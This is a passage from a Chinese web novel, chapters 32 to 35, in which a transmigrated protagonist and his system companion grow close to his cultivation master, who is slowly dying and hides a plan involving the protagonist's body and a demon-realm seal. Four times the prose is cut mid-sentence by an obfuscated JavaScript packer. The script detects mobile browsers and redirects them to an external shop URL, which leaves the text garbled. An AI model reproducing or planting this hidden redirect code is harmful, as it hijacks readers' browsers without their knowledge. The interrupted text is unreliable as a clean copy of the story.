没想到,是真的爱了一辈子。 “宿主。”小污的声音又响起,“你后悔吗?” 林知白想了想。 “不后悔。”他说,“但我有点难过。” 小污没说话。 林知白深吸一口气,擦了擦眼角。 “行了,放第三个世界的预告吧。” 小污愣了一下。 “你不多休息一会儿?” “不用。”林知白说,“早点完成任务,早点回去。” 小污沉默了两秒,然后笑了。 “宿主,你真的变了。” 光屏再次亮起。 这次出现的是一片云雾缭绕的山峰,仙鹤飞过,钟声悠扬。 “第三个世界:仙侠。”小污说,“你是清虚子的弟子,入门三个月。他是你的师尊,清冷出尘,对你却格外照顾。” 画面里出现一个白衣男子,长身玉立,面容如霜雪。他站在山巅,衣袂被风吹起,像随时要飞升而去。 “他看你的眼神不对劲。”小污继续说,“不是师徒之间的那种关心,是别的什么。” 林知白看着那张脸。 很好看。 清冷,疏离,不食人间烟火。 但他的眼神—— 林知白愣了一下。 那个眼神,他见过。 在顾霆琛眼里,在沈墨眼里。 是那种“我在意你”的眼神。 “师尊?”他问。 “对。”小污说,“清虚子。表面上是仙门第一人,实际上——” 它顿了顿。 “实际上什么?” “实际上,他知道你的体质。”小污说,“至阴之体。可以用来加固封印的至阴之体。” 林知白的心沉了下去。 “所以他对我的好,是因为——” “不一定。”小污打断他,“他很矛盾。他想保护你,但又不得不牺牲你。这个世界,你可能会死。” 林知白沉默了。 “宿主。”小污问,“你还去吗?” 林知白看着画面里那个白衣男子,看着他清冷的脸,看着他复杂的眼神。 然后他笑了。 “去。”他说,“为什么不去?” 小污愣住了。 “你不怕?” “怕什么?”林知白说,“死过两次了,还怕第三次?” 小污沉默了两秒。 然后它笑了。 “宿主,你刚才那句话,有点帅。” 林知白翻了个白眼。 “行了,传送吧。” 白光再次亮起。 这一次,他闻到了不一样的味道——青草,露水,还有淡淡的檀香。 耳边传来悠远的钟声,一声接一声,像是从很远的地方传来。 他睁开眼睛。 眼前是一片云雾缭绕的山峰,远处有飞瀑流泉,近处有古松翠柏。他站在一座大殿前,脚下是汉白玉的石阶,身后是高大的朱红柱子。 他低头看了看自己——穿着白色的道袍,腰间系着一条浅青色的丝绦。袖口宽大,绣着淡淡的云纹。 “徒儿。” 一个声音从身后响起。 很清冷,像山间的泉水,又像冬日的霜雪。 林知白转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432132|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过身。 一个白衣男子站在不远处,长身玉立,面容如霜雪。他的头发用一根白玉簪束起,几缕碎发垂在额前。他的眼睛很深,像藏着一汪寒潭。 但那双眼睛,此刻正看着他。 带着一丝温柔。 “该练功了。”他说。 林知白看着他,心里突然涌起一种奇怪的感觉。 这个人,他认识吗? 不,不认识。 但他的眼神,好熟悉。 “宿主。”小污的声音在脑海里响起,很轻,“他就是清虚子。你的师尊。” 林知白深吸一口气。 “是,师尊。” 他走过去,站在清虚子身边。 清虚子低头看了他一眼,然后转身往前走。 “跟上。” 林知白跟在他身后,沿着石阶往上走。 周围云雾缭绕,看不清远处。只能听见钟声,听见风声,听见自己的心跳。 走了很久,清虚子停下来。 前面是一片悬崖,云雾在脚下翻涌,像一片白色的海。 “知道这是哪儿吗?”清虚子问。 林知白摇摇头。 “无妄崖。”清虚子说,“从这里跳下去,就能离开仙门。” 林知白愣住了。 “师尊为什么告诉我这个?” 清虚子转过身,看着他。 那双眼睛里,有什么东西在涌动。 “因为有一天,你可能想离开。”他说,“那时候,你知道该怎么走。” 林知白看着他,不知道该说什么。 清虚子看了他很久。 然后他伸出手,轻轻摸了摸林知白的头。 那动作很轻,很温柔。 “走吧。”他说,“练功去。” 他转身离开。 林知白站在原地,看着他的背影消失在云雾里。 “宿主。”小污的声音响起,“他刚才那个眼神……” “我知道。” “你知道什么?” 林知白沉默了几秒。 “他知道我会死。”他说,“他提前告诉我离开的路。” 小污没说话。 林知白转身,看着那片翻涌的云雾。 无妄崖。 跳下去就能离开。 但他不会跳。 因为任务还没完成。 他深吸一口气,跟着清虚子的方向走去。 身后,云雾翻涌。 像在等待着什么。 练功房里,清虚子手把手教林知白运功。 他的手指很凉,触在林知白手腕上,像一片冰。 “集中精神。”他说,“别分心。” 林知白点点头,闭上眼睛。 但他能感觉到,那道目光一直落在自己身上。 很久很久。 晚上,他回到自己的房间。 桌上放着一碗热汤,还有一张纸条。 “趁热喝。——师尊” 林知白看着那张纸条,愣住了。 他想起第一个世界,顾霆琛留下的“吃药”。 想起第二个世界,沈墨每天送的早餐。 现在又是师尊。 每一个世界,都有人对他好。 但每一个世界,最后都会伤害他。 “宿主。”小污的声音响起,“你喝吗?” 林知白看着那碗汤,沉默了几秒。 然后他端起来,喝了。 “为什么不喝?” 林知白放下碗。 “因为现在,他还是真的对我好。”他说,“以后的事,以后再说。” 33. 第 33 章 林知白醒来的时候,天还没亮。 窗外的云雾很浓,把月光遮得严严实实。房间里只有一盏昏黄的灯,在床头静静地亮着。 他坐起来,看着桌上那碗已经凉透的汤。 昨晚他喝了,很暖。 暖到现在想起来,胸口还是热的。 “宿主。”小污的声音幽幽响起,“你盯着那个碗看了三分十七秒了。” 林知白回过神。 “有吗?” “有。”小污说,“本系统记录得清清楚楚。你是不是在想师尊?” 林知白没说话。 但他确实在想。 想他清冷的脸,想他温柔的眼神,想他摸自己头时那凉凉的触感。 “宿主。”小污的声音带上一丝警告,“本系统要提醒你,每个世界开头越甜,后面越虐。这是铁律,逃不掉的。” 林知白笑了。 “我知道。” “知道你还想?” “想又不犯法。”林知白下床,开始穿衣服,“而且现在甜的时候,不好好享受,等虐的时候连回忆都没有。” 小污沉默了两秒。 “宿主,你这个想法,很危险。” “怎么危险?” “这说明你已经学会在虐恋中自我调节了。”小污说,“这是资深受虐者的标志性症状。” 林知白差点笑出声。 “你这是什么奇葩理论?” “本系统研究三千六百部虐恋小说得出的结论。”小污振振有词,“主角刚开始被虐的时候会哭,会难过,会想死。但被虐多了,就开始学会在虐里找糖,在刀里找糖。这叫——斯德哥尔摩综合征的恋爱版。” 林知白穿好衣服,对着镜子整理了一下头发。 “那你觉得我现在是第几阶段?” 小污想了想。 “中期。”它说,“你已经开始主动寻找甜的部分了。比如昨晚那碗汤,比如他摸你头的动作。这些都是糖,你全记住了。” 林知白点点头。 “那就好。”他说,“走吧,该去练功了。” 推开房门,外面的云雾淡了一些。远处传来钟声,一下一下,悠远绵长。 林知白沿着石阶往上走。 走到练功房的时候,清虚子已经在了。 他站在窗前,背对着门,白色的衣袍在晨光里泛着淡淡的光。听见脚步声,他转过身。 “来了?” 林知白点点头。 “师尊早。” 清虚子走过来,在他面前站定。 “昨晚睡得好吗?” “好。”林知白说,“谢谢师尊的汤。” 清虚子的眼神动了动。 只是一瞬间,然后恢复了平静。 “那是补气的。”他说,“你体质弱,多喝点有好处。” 林知白看着他,开启“识谎”。 数据跳动——心率正常,体温正常,微表情平静。 真话。 但林知白注意到一个细节——他说这话的时候,眼神往旁边飘了一瞬。 那是心虚的表现。 “宿主。”小污的声音响起,“他在掩饰什么。” 林知白当然知道。 但他没问。 “师尊,今天练什么?” 清虚子看了他一眼,转身走向蒲团。 “今天练心法。”他说,“坐下。” 林知白在他对面坐下。 两个人隔着三尺的距离,面对面坐着。 清虚子闭上眼睛,开始讲解心法。 他的声音很好听,清冷中带着一丝磁性,像山间的泉水,又像冬日的风。林知白听着,不知不觉就入了神。 不是入心法的神。 是入他声音的神。 “林知白。” 清虚子突然叫他的名字。 林知白回过神,对上他的目光。 那双眼睛很深,像藏着一汪寒潭。但此刻,那寒潭里有什么东西在动。 “分心了?”他问。 林知白点点头。 “对不起。” 清虚子没有责怪他。 他只是伸出手,握住林知白的手腕。 手指很凉,触在皮肤上,像一片冰。 “我帮你运功。”他说,“你闭上眼睛,跟着我的灵力走。” 林知白闭上眼睛。 一股凉凉的灵气从手腕渗进来,沿着经脉慢慢往上走。很轻,很柔,像一条小溪流过干涸的土地。 他感觉整个人都放松下来。 “宿主。”小污的声音突然响起,“他在用自己的灵力温养你的经脉。” 林知白愣了一下。 “什么意思?” “就是……这样做对他没好处,对你有好处。”小污说,“他的灵力会损耗,需要很久才能补回来。” 林知白的心跳漏了一拍。 他睁开眼睛,看着清虚子。 清虚子也看着他。 两个人就这么对视着,谁都没说话。 窗外有风吹进来,带起清虚子的衣角和发丝。 “师尊。”林知白开口。 “嗯?” “你为什么对我这么好?” 清虚子沉默了几秒。 然后他说:“因为你是我的徒儿。” 林知白开启“识谎”。 数据跳动——心率上升,体温升高,微表情紧张。 假话。 或者说,不完全是真话。 “宿主。”小污说,“他在撒谎。” 林知白当然知道。 但他没有追问。 他只是看着清虚子,看着那张清冷的脸上,那一丝不易察觉的心虚。 “谢谢师尊。”他说。 清虚子松开他的手腕,站起来。 “今天的课就到这里。”他说,“你回去休息吧。” 林知白点点头,站起来,往外走。 走到门口的时候,身后传来清虚子的声音。 “林知白。” 他停下脚步。 清虚子站在窗前,背对着他,看不清表情。 “如果有一天……”他说,声音很轻,“如果有一天,你发现我骗了你,你会恨我吗?” 林知白愣住了。 他看着那个背影,看着那被风吹起的衣角。 “师尊骗过我吗?” 清虚子没有回答。 沉默了很久。 久到林知白以为他不会回答了。 然后他说:“还没有。但也许……会有那一天。” 林知白的心沉了下去。 他想起小污说的——你的体质特殊,是用来加固封印的至阴之体。 他想起清虚子每次看自己时那复杂的眼神。 他想起昨晚那碗汤,想起刚才温养经脉的灵力。 这一切,都是真的吗? 还是说,都是骗局? “宿主。”小污的声音响起,“你怎么回答?” 林知白深吸一口气。 “师尊。”他说,“不管那一天来不来,现在你对我的好,我都记得。” 他推开门,走了出去。 身后,清虚子站在窗前,一动不动。 很久之后,他轻轻叹了口气。 “傻孩子。”他说,“你不该记得的。” 下午,林知白在院子里练剑。 他刚学会一套剑法,练得不太熟练,剑势歪歪扭扭的,好几次差点刺到自己。 “宿主,你这样不行。”小污吐槽,“剑是用来刺敌人的,不是用来刺自己的。” 林知白擦了擦汗。 “我刚学,能有多熟练?” “本系统看你这天赋,学一百年也够呛。” 林知白翻了个白眼,继续练。 正练着,一个人影从旁边走过来。 是大师兄,清虚子的大弟子,叫清远。 “小师弟,练剑呢?”清远笑着问。 林知白点点头。 “大师兄好。” 清远走过来,看了看他的剑法。 “嗯,姿势不错,就是力道不够。”他说,“来,我教你。” 他接过林知白的剑,示范了一遍。 动作流畅,剑势凌厉,每一招都恰到好处。 林知白看着,眼睛都亮了。 “大师兄好厉害!” 清远笑了笑。 “练了二十年,能不好吗?”他把剑还给林知白,“你刚入门,慢慢来,不着急。” 林知白点点头。 “谢谢大师兄。” 清远看着他,眼神里有一丝复杂。 “小师弟。”他突然开口,“师尊他……对你很好?” 林知白愣了一下。 “嗯,挺好的。” 清远沉默了几秒。 然后他叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432133|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就好。”他说,“那就好。” 他转身要走。 “大师兄。”林知白叫住他。 清远回过头。 林知白看着他,问了一句。 “师尊以前……也这样对过别人吗?” 清远的眼神变了。 他看着林知白,看了很久。 然后他摇摇头。 “没有。”他说,“你是第一个。” 林知白愣住了。 “第一个?” 清远点点头。 “师尊收过七个弟子,我是老大。”他说,“但从来没有一个人,能让他亲自温养经脉,亲自送汤送药。你是第一个。” 林知白的心里,有什么东西在翻涌。 清远看着他,又叹了口气。 “小师弟,好好珍惜。”他说,“师尊他……可能活不了多久了。” 林知白的心猛地抽紧了。 “什么?” 清远摇摇头。 “你别问了。”他说,“总之,好好对他。” 他转身离开。 林知白站在原地,握着剑,一动不动。 “宿主。”小污的声音响起,“你还好吗?” 林知白没说话。 他只是站在那里,想着清远刚才说的话。 “师尊可能活不了多久了。” 什么意思? 他想起清虚子那清冷的眼神,想起他苍白的面容,想起他每次握自己手腕时那凉凉的触感。 原来不是他天生体寒。 是…… 是什么? 他不知道。 但他知道,有什么事情,正在慢慢浮出水面。 晚上,林知白回到房间。 桌上又放着一碗汤,还有一张纸条。 “趁热喝。——师尊” 和昨天一模一样。 林知白看着那碗汤,看了很久。 然后他端起碗,一口一口喝完了。 “宿主。”小污的声音响起,“你喝得这么干脆?” 林知白放下碗。 “为什么不喝?” “你不怕他下毒?” 林知白笑了。 “他要是想害我,不用这么麻烦。”他说,“他是师尊,我是徒儿。他随便找个理由就能处置我。” 小污沉默了。 “而且。”林知白继续说,“如果他真的活不了多久了,那他的每一碗汤,都是最后一次。” 他躺到床上,看着天花板。 “我不想等到他走了,才后悔没有多喝几碗。” 窗外,月光很亮。 照在窗台上,像一层薄薄的霜。 林知白闭上眼睛。 梦里,他看见清虚子站在无妄崖边,白衣飘飘,回头看着他。 “林知白。”他说,“如果有一天我骗了你,你会恨我吗?” 林知白想回答,但说不出话。 清虚子笑了笑。 “恨也好。”他说,“至少你会记得我。” 然后他纵身一跃,消失在云雾里。 林知白猛地睁开眼睛。 天已经亮了。 阳光从窗户照进来,落在他脸上。 他坐起来,大口喘气。 是梦。 只是梦。 但他心里的不安,越来越浓。 “宿主。”小污的声音响起,“你做梦了?” 林知白点点头。 “梦见什么?” 林知白沉默了几秒。 “梦见师尊跳崖了。” 小污没说话。 林知白站起来,穿好衣服,推开门。 外面阳光很好,云雾已经散了。 他深吸一口气,往练功房走去。 不管前面是什么,他都要去看一看。 因为那是师尊。 那个对他好的人。 练功房里,清虚子正在打坐。 他听见脚步声,睁开眼睛。 “来了?” 林知白点点头,在他对面坐下。 两个人对视着。 阳光从窗户照进来,落在他们之间。 “师尊。”林知白突然开口。 清虚子看着他。 “嗯?” “大师兄说,你活不了多久了。”林知白问,“是真的吗?” 清虚子的眼神变了。 34. 第 34 章 练功房里安静得能听见自己的心跳。 林知白看着清虚子,等他回答。 清虚子也看着他,那双眼睛里的寒潭,此刻正在微微颤动。 “谁告诉你的?”他问,声音很轻。 “大师兄。” 清虚子沉默了几秒。 然后他笑了。 那笑容很淡,淡得几乎看不出来。 “他多嘴了。” 林知白的心沉了下去。 没有否认。 那就是真的。 “师尊。”他的声音有点抖,“是真的吗?” 清虚子看着他,看了很久。 然后他伸出手,轻轻摸了摸林知白的头。 那动作和昨天一样温柔,但林知白感觉,那手比昨天更凉了。 “林知白。”清虚子说,“每个人都会死的。我也一样。” “可是——” “没有可是。”清虚子打断他,“这个话题,到此为止。” 他站起来,走向窗边。 背对着林知白,看不清表情。 “今天的课取消。”他说,“你回去休息吧。” 林知白站起来,看着那个背影。 白色的衣袍在晨光里泛着淡淡的光,几缕碎发被风吹起,在脸侧轻轻飘动。 他想走过去,想抱住他,想问他为什么。 但他没有。 他只是转身,推开门,走了出去。 走在回房间的路上,林知白脑子里乱糟糟的。 师尊要死了。 那个对他好的人,要死了。 “宿主。”小污的声音响起,“你还好吗?” 林知白没说话。 “本系统查了一下。”小污继续说,“清虚子的情况确实不太好。他的灵力一直在流失,修为也在下降。具体原因,本系统查不到,但应该和他的过去有关。” 林知白停下脚步。 “什么过去?” “不知道。”小污说,“仙门的人嘴都很严。但本系统猜测,可能和你有关。” 林知白愣住了。 “和我有关?” “准确说,和你的体质有关。”小污说,“你是至阴之体,可以用来加固封印。清虚子一直在用自己的灵力温养你,这会让他的损耗更快。” 林知白的心猛地抽紧了。 所以,师尊对他好,是在消耗自己的生命? “那他为什么还要这么做?” 小污沉默了几秒。 “这你得问他。”它说,“本系统只能提供数据,分析不了人心。” 林知白站在原地,看着远处的山峰。 云雾缭绕,仙鹤飞过。 很美。 但他的心,很乱。 下午,林知白一个人在院子里练剑。 他练得很用力,每一剑都像是要把空气劈开。汗水顺着脸颊流下来,打湿了衣领。 “小师弟。” 一个声音从旁边传来。 林知白停下剑,转过头。 清远站在不远处,看着他。 “大师兄。” 清远走过来,在他旁边站定。 “还在练?” “嗯。” 清远看着他,眼神复杂。 “早上的事,对不起。”他说,“我不该跟你说那些。” 林知白摇摇头。 “没事。” 清远沉默了几秒。 然后他叹了口气。 “小师弟,你知道吗,师尊以前不是这样的。” 林知白看着他。 “什么意思?” 清远看着远处的山峰,眼神变得悠远。 “我刚入门的时候,师尊很冷。”他说,“对谁都冷。说话不超过三句,表情永远不变。我们都怕他。” 林知白想起清虚子那张清冷的脸。 确实很冷。 “但后来,他变了。”清远继续说,“变得会关心人,会照顾人。虽然还是冷,但那种冷,不一样了。” 林知白心里一动。 “什么时候变的?” 清远转过头,看着他。 “你入门之后。” 林知白愣住了。 “我?” 清远点点头。 “你入门那天,师尊亲自来接你。”他说,“你不知道吧?他从不下山的,那天却亲自去了山门。我们都在猜,这个新来的小师弟,是什么来头。” 林知白张了张嘴,想说什么,但什么都说不出来。 “后来他对你那么好,我们都不奇怪。”清远说,“因为从你来的那天起,他就变了。” 他拍了拍林知白的肩膀。 “小师弟,我不知道你和师尊之间有什么渊源。”他说,“但我知道,你对他来说,很重要。” 他转身离开。 林知白站在原地,握着剑,一动不动。 “宿主。”小污的声音轻轻响起,“你听见了吗?” 林知白点点头。 “他说,我入门那天,师尊亲自来接我。” “嗯。” “为什么?” 小污没说话。 林知白也不知道。 但他心里,隐隐有个猜测。 也许,师尊认识他。 也许,师尊等了他很久。 晚上,林知白没有回房间。 他一个人坐在无妄崖边,看着脚下的云雾翻涌。 月光很亮,照在他身上,把影子拉得很长。 脚步声从身后传来。 他没有回头。 一个人在他旁边坐下。 是清虚子。 两个人就这么坐着,谁都没说话。 很久之后,清虚子开口了。 “怎么在这儿?” 林知白看着脚下的云雾。 “想事情。” “想什么?” 林知白转过头,看着他。 月光下,那张脸显得格外苍白。 “想师尊。”他说。 清虚子的眼神动了动。 “想我什么?” 林知白想了想。 “想你为什么对我好。”他说,“想你是不是认识我。想你是不是……一直在等我。” 清虚子愣住了。 他看着林知白,看着那双在月光下格外明亮的眼睛。 很久很久。 然后他笑了。 那笑容很轻,很淡,但眼睛里有什么东西在闪。 “林知白。”他说,“你比我想象的聪明。” 林知白的心跳漏了一拍。 “所以,是真的?” 清虚子没有回答。 他只是看着远处的云雾,眼神变得悠远。 “很多年前。”他说,“我认识一个人。他和你长得很像,性格也很像。他对我很好,好到我以为这辈子都会和他在一起。” 林知白听着,没有说话。 “后来他死了。”清虚子继续说,“死在我面前。我没能救他。” 他的声音很轻,轻得像一片落叶。 “从那以后,我就变了。”他说,“变得冷,变得不爱说话。因为我怕,怕再对一个人好,怕再失去。” 林知白的眼眶热了。 “直到你来了。”清虚子转过头,看着他,“你和他那么像。像到我以为,是他回来了。” 林知白愣住了。 所以,他也是替身? 和第一个世界一样? “宿主。”小污的声音响起,“你开启识谎,看看他说的真假。” 林知白深吸一口气,开启技能。 数据跳动——心率上升,体温升高,微表情紧张。 真话。 都是真话。 “师尊。”他开口,声音有点抖,“所以你对我的好,是因为我像他?” 清虚子看着他,看了很久。 然后他摇摇头。 “一开始是。”他说,“但现在不是了。” 林知白愣住了。 “现在?” 清虚子伸出手,轻轻摸了摸他的脸。 那动作很轻,很温柔。 “现在,你就是你。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432134|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“不是谁的替身。是我的徒儿,是我在意的人。” 林知白的眼泪掉下来。 他不知道为什么会哭。 可能是因为感动。 可能是因为难过。 也可能是因为,他终于听懂了这句话。 不是替身。 是他自己。 “师尊。”他说。 清虚子看着他。 “嗯?” “不管你能活多久。”林知白说,“这剩下的日子,我陪着你。” 清虚子愣住了。 他看着林知白,看着那张满是泪痕的脸。 然后他笑了。 这一次,笑得很深。 “好。”他说。 两个人就这么坐在无妄崖边,看着月亮慢慢移动。 云雾翻涌,夜风吹过。 但林知白不觉得冷。 因为身边有人陪着他。 很久之后,清虚子站起来。 “回去吧。”他说,“明天还要练功。” 林知白点点头,跟着站起来。 两个人并肩往回走。 走了几步,清虚子突然停下来。 “林知白。” 林知白看着他。 清虚子背对着月光,看不清表情。 但他的声音,很轻,很认真。 “不管将来发生什么。”他说,“你只要记住一件事。” “什么?” “我从未想过要伤害你。” 林知白的心跳漏了一拍。 他想起小污说的——你的体质特殊,是用来加固封印的至阴之体。 他想起清远说的——师尊可能活不了多久了。 他想起清虚子每次看自己时那复杂的眼神。 “师尊。”他开口。 清虚子等着他说。 林知白张了张嘴,想问他——那你到底会不会伤害我? 但他没问。 他只是走过去,抱住了清虚子。 清虚子愣住了。 身体僵了一瞬,然后慢慢放松。 他抬起手,轻轻抱住林知白。 两个人就这么抱着,站在月光下。 很久很久。 “回去吧。”清虚子说。 林知白松开他,点点头。 两个人继续往前走。 身后,月光把他们的影子融在一起。 很长。 很暖。 回到房间,林知白躺在床上,看着天花板。 “宿主。”小污的声音响起,“你今天抱他了。” 林知白点点头。 “嗯。” “你动心了?” 林知白想了想。 “不知道。”他说,“但那一刻,我想抱他。” 小污沉默了几秒。 然后它叹了口气。 “宿主,你完了。”它说,“你这是要恋爱脑复发的节奏。” 林知白笑了。 “你不是说我在虐里找糖吗?”他说,“现在找到糖了,你又不高兴。” 小污噎住了。 “本系统……本系统只是提醒你,后面可能很虐。” 林知白点点头。 “我知道。”他说,“但至少现在,糖是真的。” 他闭上眼睛。 窗外,月光很亮。 他想起清虚子最后那句话。 “我从未想过要伤害你。” 是真的吗? 他不知道。 但他愿意相信。 至少这一刻,愿意相信。 第二天,林知白照常去练功。 但清虚子没来。 他等了很久,等到太阳升到头顶,还是没来。 他去找大师兄。 “大师兄,师尊呢?” 清远看着他,眼神复杂。 “掌门召他去了。”他说,“可能要商量那件事。” 林知白心里一紧。 “什么事?” 清远沉默了几秒。 然后他说:“魔界封印的事。” 35. 第 35 章 林知白在练功房等到太阳西斜,清虚子始终没来。 他站起来,走到窗边。夕阳把天边染成橙红色,几只仙鹤飞过,落在那边的山头上。 “宿主。”小污的声音响起,“你在这儿等了一天了。” 林知白点点头。 “师尊从来没迟到过。” “也许是有事耽搁了。”小污说,“你不是说掌门召他去了吗?” 林知白没说话。 他想起清远说的那句话——“可能要商量那件事。” 那件事。 魔界封印的事。 他的心往下沉了一点。 “走吧。”他转身往外走,“去看看。” 掌门大殿在另一座山峰上,要走过长长的悬空栈道才能到。林知白走在栈道上,脚下是万丈深渊,云雾翻涌。他没往下看,只是盯着前方的路。 走到大殿门口的时候,天已经快黑了。 守门弟子拦住他。 “小师弟?你怎么来了?” 林知白往里看了看。 “师尊在吗?” 守门弟子点点头。 “在,和掌门议事呢。你等会儿,我通报——” 话音未落,大殿的门开了。 清虚子走出来。 他看见林知白,愣了一下。 “你怎么来了?” 林知白看着他。 那张脸还是那么清冷,但眼睛里,有什么东西不一样了。 “师尊没来练功。”林知白说,“我担心。” 清虚子沉默了一秒。 “有事。”他说,“你先回去,明天再练。” 他转身要走。 “师尊。”林知白叫住他。 清虚子停下脚步,没有回头。 林知白看着他修长的背影,想说什么,但什么都说不出来。 他只想问——那件事,是什么? 但他没问。 “好。”他说,“师尊早点休息。” 清虚子没回答,迈步离开。 林知白站在原地,看着他的背影消失在夜色里。 “宿主。”小污的声音响起,“他不对劲。” 林知白点点头。 他知道。 第二天,林知白照常去练功房。 清虚子没来。 他等了一个时辰,两个时辰,三个时辰。 太阳从东边升到头顶,又从头顶往西边落。 清虚子始终没来。 第三天,还是没来。 第四天,第五天,第六天。 整整一周,清虚子再没出现过。 林知白去找清远。 “大师兄,师尊呢?” 清远看着他,眼神复杂。 “闭关了。”他说。 林知白愣住了。 “闭关?” 清远点点头。 “掌门让他闭关,说是要冲击瓶颈。”他说,“这段时间,你不能去打扰他。” 林知白沉默了几秒。 “那他的身体——” “会好的。”清远打断他,“你放心。” 林知白看着他。 清远的眼神躲闪了一下。 “宿主。”小污的声音响起,“他在撒谎。” 林知白当然知道。 但他没有追问。 他只是点点头,转身离开。 走在回房间的路上,林知白脑子里乱糟糟的。 闭关。 冲击瓶颈。 会好的。 这些话,他一个字都不信。 “小污。”他在心里问,“你能查到什么吗?” 小污沉默了几秒。 “本系统试着入侵了一下仙门的数据库。”它说,“但权限不够,只查到一条记录——七天前,掌门和清虚子密谈了两个时辰。内容不详,但之后清虚子的灵力波动就消失了。” 林知白的心沉了下去。 “消失?” “对。”小污说,“就像是被屏蔽了一样。要么是他在刻意隐藏,要么是——” “是什么?” 小污顿了顿。 “要么是他快不行了。” 林知白停下脚步。 他站在山路上,周围是青松翠柏,远处是翻涌的云雾。 阳光很好。 但他的心,很冷。 晚上,林知白一个人坐在无妄崖边。 这是他和清虚子一起坐过的地方。 月光很亮,照在翻涌的云雾上,像一片银色的海。 他想起那天晚上,清虚子说的话。 “不管将来发生什么,你只要记住一件事——我从未想过要伤害你。” 是真是假? 他不知道。 但他想相信。 “宿主。”小污的声音响起,“你在这儿坐了一晚上了。” 林知白点点头。 “在想师尊?” 林知白没说话。 但他确实在想。 想他的脸,想他的话,想他最后那个背影。 “小污。”他突然开口。 “嗯?” “如果师尊真的快不行了,我能做什么?” 小污沉默了。 很久之后,它说:“你什么都做不了。” 林知白的心往下沉。 “这是仙侠世界。”小污继续说,“清虚子修为高深,他都解决不了的问题,你一个刚入门的小弟子,能怎么办?” 林知白没说话。 他知道小污说得对。 但他还是想做点什么。 “我想见他。”他说。 小污愣住了。 “什么?” “我想见师尊。”林知白站起来,“不管他在哪儿闭关,我要见他。” “宿主,你疯了?”小污的声音拔高,“擅闯闭关之地是大忌,轻则逐出师门,重则废掉修为!” 林知白点点头。 “我知道。” “知道你还去?” 林知白看着远处的山峰。 “因为他快死了。”他说,“因为他对我好。因为他……是第一个说‘你就是你,不是谁的替身’的人。” 小污沉默了。 很久之后,它叹了口气。 “本系统就知道会这样。”它说,“走吧,本系统帮你查查他在哪儿闭关。” 林知白笑了。 “谢谢。” “别谢。”小污的声音闷闷的,“本系统只是不想看你后悔一辈子。” 闭关的地方在后山一个隐蔽的山洞里。 洞口被结界封住,看不见里面的情况。 林知白站在洞口前,深吸一口气。 “宿主,你真的要闯?”小污最后一次问。 林知白点点头。 他伸出手,触在结界上。 结界微微颤动,发出一道淡淡的金光。 然后一个声音从里面传来。 “谁?” 是清虚子的声音。 林知白的心跳漏了一拍。 “师尊,是我。” 里面沉默了。 很久之后,结界裂开一道缝隙。 “进来。” 林知白钻进去。 山洞里很暗,只有一盏昏黄的灯亮着。清虚子坐在蒲团上,脸色苍白得近乎透明。他看见林知白,眼神动了动。 “你怎么找到的?” 林知白没回答。 他只是走过去,在清虚子面前蹲下。 “师尊。”他说,声音有点抖,“你骗我。” 清虚子看着他。 “骗你什么?” “你说闭关冲击瓶颈。”林知白说,“你不是冲击瓶颈,你是……快不行了。” 清虚子沉默了几秒。 然后他笑了。 那笑容很淡,但眼睛里有一丝温柔。 “你比我想象的聪明。”他说,“也比我担心的……更傻。” 林知白的眼眶热了。 “师尊。”他说,“到底怎么回事?” 清虚子看着他,看了很久。 然后他伸出手,轻轻摸了摸林知白的脸。 那手比以前更凉了。 “林知白。”他说,“有件事,我一直没告诉你。” 林知白心里一紧。 “什么事?” 清虚子沉默了几秒。 然后他说:“你的体质,是至阴之体。可以用来加固魔界封印。” 林知白的心沉了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你像他。”他说,“但又不像他。” 林知白愣住了。 “他是我以前的弟子。”清虚子继续说,“也是至阴之体。几百年前,魔界入侵,他为了加固封印,献祭了自己。” 林知白的心抽紧了。 “他死之前,让我答应他一件事。” “什么事?” 清虚子看着他。 “保护好下一个至阴之体。”他说,“不要让他重蹈覆辙。” 林知白的眼泪掉下来。 所以,师尊对他好,不是因为他是替身。 是因为他想保护他。 是因为他答应了那个人。 “师尊。”他说。 清虚子看着他。 “嗯?” “你不是替身。”林知白说,“你就是你。对我好的人,就是师尊。” 清虚子愣住了。 然后他笑了。 笑得很深,笑得很暖。 “谢谢你。”他说,“林知白。” 林知白握着他的手,没有说话。 他只是想—— 